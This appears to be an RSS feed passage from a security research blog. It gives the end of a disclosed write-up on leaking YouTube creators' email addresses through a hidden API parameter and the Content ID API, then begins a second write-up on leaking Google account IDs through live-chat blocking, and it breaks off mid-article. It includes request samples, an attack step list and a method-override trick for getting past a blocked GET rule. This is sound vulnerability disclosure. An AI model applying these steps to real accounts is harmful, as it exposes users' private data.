<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>studio.youtube.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;

<span class="language-bash">{
  <span class="hljs-string">&quot;context&quot;</span>: {
    ...
  },
  <span class="hljs-string">&quot;channelIds&quot;</span>: [
    <span class="hljs-string">&quot;UCdcUmdOxMrhRjKMw-BX19AA&quot;</span>
  ],
  <span class="hljs-string">&quot;mask&quot;</span>: {
    <span class="hljs-string">&quot;channelId&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;thumbnailDetails&quot;</span>: {
      <span class="hljs-string">&quot;all&quot;</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">&quot;metric&quot;</span>: {
      <span class="hljs-string">&quot;all&quot;</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">&quot;timeCreatedSeconds&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;isNameVerified&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;channelHandle&quot;</span>: <span class="hljs-literal">true</span>
  }
}</span></code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-bash">{
  <span class="hljs-string">&quot;channels&quot;</span>: [
    {
      <span class="hljs-string">&quot;channelId&quot;</span>: <span class="hljs-string">&quot;UCdcUmdOxMrhRjKMw-BX19AA&quot;</span>,
      <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;Niko Omilana&quot;</span>,
      ...
      <span class="hljs-string">&quot;metric&quot;</span>: {
        <span class="hljs-string">&quot;subscriberCount&quot;</span>: <span class="hljs-string">&quot;7700000&quot;</span>,
        <span class="hljs-string">&quot;videoCount&quot;</span>: <span class="hljs-string">&quot;142&quot;</span>,
        <span class="hljs-string">&quot;totalVideoViewCount&quot;</span>: <span class="hljs-string">&quot;650836435&quot;</span>
      },
      <span class="hljs-string">&quot;timeCreatedSeconds&quot;</span>: <span class="hljs-string">&quot;1308700645&quot;</span>,
      <span class="hljs-string">&quot;isNameVerified&quot;</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-string">&quot;channelHandle&quot;</span>: <span class="hljs-string">&quot;@Niko&quot;</span>,
    }
  ]
}</span></code></pre></br>

<p>The masks seemed quite secure. If we tried requesting any other mask that could be sensitive for a channel we don&#39;t have access to, we&#39;d be hit with a Permission denied error:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;errors&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;domain&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;global&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;forbidden&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PERMISSION_DENIED&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><h3 id="leaking-secret-hidden-parameters">Leaking secret hidden parameters</h3><p>As it turns out, if we dump the request payload for this endpoint with <a href="https://github.com/ddd/googleapi_tools" >req2proto</a>, we can see there&#39;s actually 2 secret hidden parameters:</p>
<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> youtube.api.pfiinnertube;

<span class="hljs-keyword">message </span><span class="hljs-title class_">GetCreatorChannelsRequest</span> {
  InnerTubeContext context = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> channel_ids = <span class="hljs-number">2</span>;
  CreatorChannelMask mask = <span class="hljs-number">4</span>;
  DelegationContext delegation_context = <span class="hljs-number">5</span>;
  <span class="hljs-type">bool</span> critical_read = <span class="hljs-number">6</span>; <span class="hljs-comment">// ???</span>
  <span class="hljs-type">bool</span> include_suspended = <span class="hljs-number">7</span>; <span class="hljs-comment">// ???</span>
}</code></pre><p>Enabling <code>criticalRead</code> didn&#39;t seem to change anything, but <code>includeSuspended</code> was very interesting:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  ...
  <span class="hljs-attr">&quot;contentOwnerAssociation&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;externalContentOwnerId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Ks_zqCBHrAbeQqsVRGL7gw&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;createTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;seconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1693939737&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;nanos&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">472296000</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;permissions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;canWebClaim&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;canViewRevenue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isDefaultChannel&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;activateTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;seconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1693939737&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;nanos&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">472296000</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...
<span class="hljs-punctuation">}</span></code></pre><p>It seemed to leak the channel&#39;s <code>contentOwnerAssociation</code> But what exactly is that?</p>
<h3 id="a-look-into-content-id">A look into Content ID</h3><p>In YouTube, there&#39;s certain type of special account known as a <a href="https://support.google.com/youtube/answer/6301172" >Content Manager</a> which are given to a select few trusted rightsholders. With these accounts, it&#39;s possible to upload audio/video to Content ID as an asset, copyright claiming any external videos that contain the same audio/video as your asset.</p>
</br>

<p><img src="/assets/youtube-creator-emails/content_manager.png" alt=""  /></p>
</br>

<p>These accounts are particularly sensitive, as the Content Manager account allows you to monetize any videos found that contain similar audio/video. Hence, these special accounts are only given to rightsholders with <a href="https://transparencyreport.google.com/youtube-copyright/summary" >"complex rights management needs"</a>.</p>
</br>

<p>YouTube actually provides a watered-down version of this to all 3 million monetized YouTube creators, known as the <a href="https://support.google.com/youtube/answer/7648743" >Copyright Match Tool</a>. This tool only allows creators to request the takedown of videos using their content, rather than being able to monetize them. </p>
</br>

<p><img src="/assets/youtube-creator-emails/copyright_match_tool.png" alt=""  /></p>
</br>

<p>The interesting thing is that, the backend of this tool is the same as a Content Manager. The moment a channel gets monetization, a <code>CONTENT_OWNER_TYPE_IVP</code> content owner account is created:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;contentOwnerId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Ks_zqCBHrAbeQqsVRGL7gw&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Nia&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CONTENT_OWNER_TYPE_IVP&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;industryType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INDUSTRY_TYPE_WEB&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;primaryContactEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;timeCreatedSeconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1693939736&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;traits&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;isLongTail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isAffiliate&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isManagedTorso&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isPremium&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isUserLevelCidClaimUpdateable&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isTorso&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isFingerprintEnabled&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isBrandconnectAgency&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isTwoStepVerificationRequirementExempt&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;country&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;FI&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><blockquote>
<p><strong>Fun fact:</strong> &quot;IVP&quot; actually stands for Individual Video Partnership, the old name for the YouTube Partner Program!</p>
</blockquote>
</br>

<p>So, we can leak the <code>contentOwnerId</code> of the IVP content owner tied of the channel, but what exactly can we do with this? After doing some research, I found the <a href="https://developers.google.com/youtube/partner/reference/rest" >YouTube Content ID API</a>, which is an API intended for rightsholders with a Content Manager account. The <code>contentOwners.list</code> endpoint looked particularly interesting. It took in a Content Owner ID and returned their <a href="https://support.google.com/youtube/answer/2811709?hl=en" >"conflict notification email"</a>.</p>
</br>

<p>Unfortunately, the API seemed to be validating that I didn&#39;t have a Content Manager account, and just returned forbidden for any request:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Forbidden&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;errors&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Forbidden&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;domain&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;global&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;forbidden&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Even though this endpoint is only intended for those with a Content Manager account, I had a suspicion that an IVP Content Owner might still work. </p>
</br>

<p>I asked a friend of mine with a monetized YouTube channel test out this endpoint <a href="https://developers.google.com/youtube/partner/reference/rest/v1/contentOwners/list?apix_params=%7B%22id%22%3A%22kdVwk95TnaCSLJJfyIFoqw%22%7D" >in the API explorer</a>, and <strong>it worked.</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#contentOwnerList&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;items&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#contentOwner&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;kdVwk95TnaCSLJJfyIFoqw&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;omilana7&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;conflictNotificationEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@yahoo.co.uk&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><blockquote>
<p>The conflict notification email was the channel&#39;s email at the time the channel got monetized!</p>
</blockquote>
</br>

<p>Interestingly enough, for whatever reason, even though it worked in the API explorer, you couldn&#39;t actually add this API to your own Google Cloud project since it only whitelisted users with an actual Content Manager account. That didn&#39;t matter though, we could simply call this API with the API Explorer&#39;s client.</p>
<h3 id="putting-the-attack-together">Putting the attack together</h3><p>We have both parts we need for the attack, let&#39;s put it together!</p>
<ul>
<li>Fetch <code>/get_creator_channels</code> with <code>includeSuspended: true</code> to leak the victim&#39;s IVP Content Owner ID.</li>
<li>Use the <a href="https://developers.google.com/youtube/partner/reference/rest/v1/contentOwners/list?apix_params=%7B%22id%22%3A%22kdVwk95TnaCSLJJfyIFoqw%22%7D" >Content ID API Explorer</a> with a Google account tied to a monetized channel to fetch the conflict notification email of the victim&#39;s IVP Content Owner</li>
<li>Profit!</li>
</ul>
</br>

<iframe src="https://www.youtube.com/embed/2daV4tDmyJo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

<h3 id="timeline">Timeline</h3><ul>
<li>2024-12-12 - Report sent to vendor</li>
<li>2024-12-16 - Vendor triaged report</li>
<li>2024-12-17 - 🎉 <strong>Nice catch!</strong></li>
<li>2025-01-21 - <strong>Panel awards $13,337.</strong> Rationale: Normal Google Applications. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</li>
<li>2025-01-21 - Clarified to vendor that this was rewarded under &quot;Normal Google Applications&quot;. However, <a href="https://www.youtube.com" >www.youtube.com</a> and <a href="https://studio.youtube.com" >studio.youtube.com</a> are Tier 1 domains. See: <a href="https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb" >https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb</a></li>
<li>2025-01-23 - <strong>Panel awards an additional $6,663.</strong> Rationale: Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</li>
<li>2025-02-10 - Coordinates disclosure with vendor for <em>2025-03-13</em></li>
<li>2025-02-13 - 🎉 <strong>Google VRP awards swag</strong></li>
<li>2025-02-21 - Vendor confirms issue has been fixed (T+71 days since disclosure)</li>
<li>2025-03-13 - Report disclosed</li>
</ul>
<h3 id="additional-notes">Additional notes</h3><p>It turns out that the <code>includeSuspended</code> parameter could&#39;ve also been found from the InnerTube discovery document.</p>
<p>When you try to fetch the discovery document normally, you get the following error:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">405</span> Method Not Allowed
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8</code></pre><p>It seems that <code>youtubei.googleapis.com</code> has some <a href="https://github.com/GoogleCloudPlatform/esp-v2" >ESPv2</a> rule set to block GET requests for whatever reason.</p>
</br>

<p>I quickly found out we can actually bypass this by sending a POST request, and then overriding it to GET with <code>X-Http-Method-Override</code> to get around the block GET rule:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">X-Http-Method-Override</span><span class="hljs-punctuation">: </span>GET</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span>
<span class="hljs-attribute">content-type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-bash">{
  <span class="hljs-string">&quot;baseUrl&quot;</span>: <span class="hljs-string">&quot;https://youtubei.googleapis.com/&quot;</span>,
  <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;YouTube Internal API (InnerTube)&quot;</span>,
  <span class="hljs-string">&quot;documentationLink&quot;</span>: <span class="hljs-string">&quot;http://go/itgatewa&quot;</span>,
  ...</span></code></pre><p><strong>Update 2025-03-01:</strong> both the prod (<a href="https://archive.org/download/innertube/youtubei.json" >archive</a>) and staging (<a href="https://archive.org/download/innertube/green-youtubei.json" >archive</a>) discovery documents <a href="https://x.com/brutecat/status/1894282218929037727" >have since been removed</a>.</p>
</br>

<p>If we Ctrl-F for GetCreatorChannelsRequest, we can find the <code>includeSuspended</code> parameter:</p>
<pre><code class="hljs language-json">  ...
  <span class="hljs-attr">&quot;YoutubeApiInnertubeGetCreatorChannelsRequest&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;YoutubeApiInnertubeGetCreatorChannelsRequest&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;properties&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;channelIds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;items&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;array&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
        <span class="hljs-attr">&quot;includeSuspended&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;boolean&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;object&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...</code></pre>]]></content:encoded>
            <enclosure url="https://brutecat.com/assets/youtube-creator-emails.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Leaking the email of any YouTube user for $10,000]]></title>
            <link>https://brutecat.com/articles/leaking-youtube-emails</link>
            <guid>leaking-youtube-emails</guid>
            <pubDate>Wed, 12 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[What could've been the largest data breach in the world - an attack chain on Google services to leak the email address of any YouTube channel]]></description>
            <content:encoded><![CDATA[<p>Some time ago, I was looking for a research target in Google and was digging through the <a href="https://staging-people-pa.sandbox.googleapis.com/$discovery/rest?key=AIzaSyBOh-LSTdP2ddSgqPk6ceLEKTb8viTIvdw" >Internal People API (Staging)</a> discovery document until I noticed something interesting:</p>
</br>

<pre><code class="hljs language-json">   <span class="hljs-attr">&quot;BlockedTarget&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;BlockedTarget&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The target of a user-to-user block, used to specify creation/deletion of blocks.&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;object&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;properties&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;profileId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Required. The obfuscated Gaia ID of the user targeted by the block.&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;fallbackName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span></code></pre></br>

<p>It seemed the Google-wide block user functionality was based on an obfuscated Gaia ID as well as a display name for that blocked user. The obfuscated Gaia ID is just a Google account identifier.<br></br></p>
<p>That seemed perfectly fine until I remembered <a href="https://support.google.com/accounts/answer/6388749#zippy=%2Cuse-youtube-to-block-an-account" >this support page</a>:<br></br></p>
<p><img src="/assets/leaking-youtube-emails/use_youtube_to_block.png" alt=""  /></p>
</br>

<p>So, if you block someone on YouTube, you can leak their Google account identifier? I tested it out. I went to a random livestream, blocked a user and sure enough, it showed up in <a href="https://myaccount.google.com/blocklist" >https://myaccount.google.com/blocklist</a><br></br></p>
<p><img src="/assets/leaking-youtube-emails/blocked_user.png" alt=""  /></p>
<p>The fallback name was set as their channel name <strong>Mega Prime</strong> and the profile ID was their obfuscated Gaia ID <strong>107183641464576740691</strong><br></br></p>
<p>This was super strange to me because YouTube should never leak the underlying Google account of a YouTube channel. In the past, there&#39;s been several bugs to <a href="https://sector035.nl/articles/2022-35" >resolve these to an email address</a>, so I was confident there was still a Gaia ID to Email in some old obscure Google product.</p>
<h3 id="escalating-this-to-4-billion-youtube-channels">Escalating this to 4 billion YouTube channels</h3><p>So, we can leak the Gaia ID of any live chat user, but can we escalate this to all channels on YouTube? As it turns out, when you click the 3 dots just to open the context menu, a request is fired:</p>
</br>

<p><img src="/assets/leaking-youtube-emails/context_menu.png" alt=""  /></p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&amp;pbj=1&amp;prettyPrint=false</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>www.youtube.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-bash">{
  ...
  <span class="hljs-string">&quot;serviceEndpoint&quot;</span>: {
    ...
    <span class="hljs-string">&quot;commandMetadata&quot;</span>: {
      <span class="hljs-string">&quot;webCommandMetadata&quot;</span>: {
        <span class="hljs-string">&quot;sendPost&quot;</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-string">&quot;apiUrl&quot;</span>: <span class="hljs-string">&quot;/youtubei/v1/live_chat/moderate&quot;</span>
      }
    },
    <span class="hljs-string">&quot;moderateLiveChatEndpoint&quot;</span>: {
      <span class="hljs-string">&quot;params&quot;</span>: <span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=&quot;</span>
    }
  }
  ...
}</span></code></pre><p>That <code>params</code> is nothing more than just base64 encoded protobuf, which is a common encoding format used throughout Google.<br></br></p>
<p>If we try decoding that <code>moderateLiveChatEndpoint</code> params:</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=&quot;</span> | <span class="hljs-built_in">base64</span>
 -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | protoc --decode_raw
1 {
  5 {
    1: <span class="hljs-string">&quot;UChs0pSaEoNLV4mevBFGaoKA&quot;</span>
    2: <span class="hljs-string">&quot;36YnV9STBqc&quot;</span>
  }
}
10: 0
11: 1
12 {
  1: <span class="hljs-string">&quot;113907466537670370590&quot;</span>
  2: <span class="hljs-string">&quot;SE-aYOb-uCg059qHRis_ow&quot;</span>
}
14: 0</code></pre><p>It actually just contains the Gaia ID of the user we want to block, we don&#39;t even need to block them!</p>
<p>Let&#39;s check out the <code>get_item_context_menu</code> requests params too:</p>
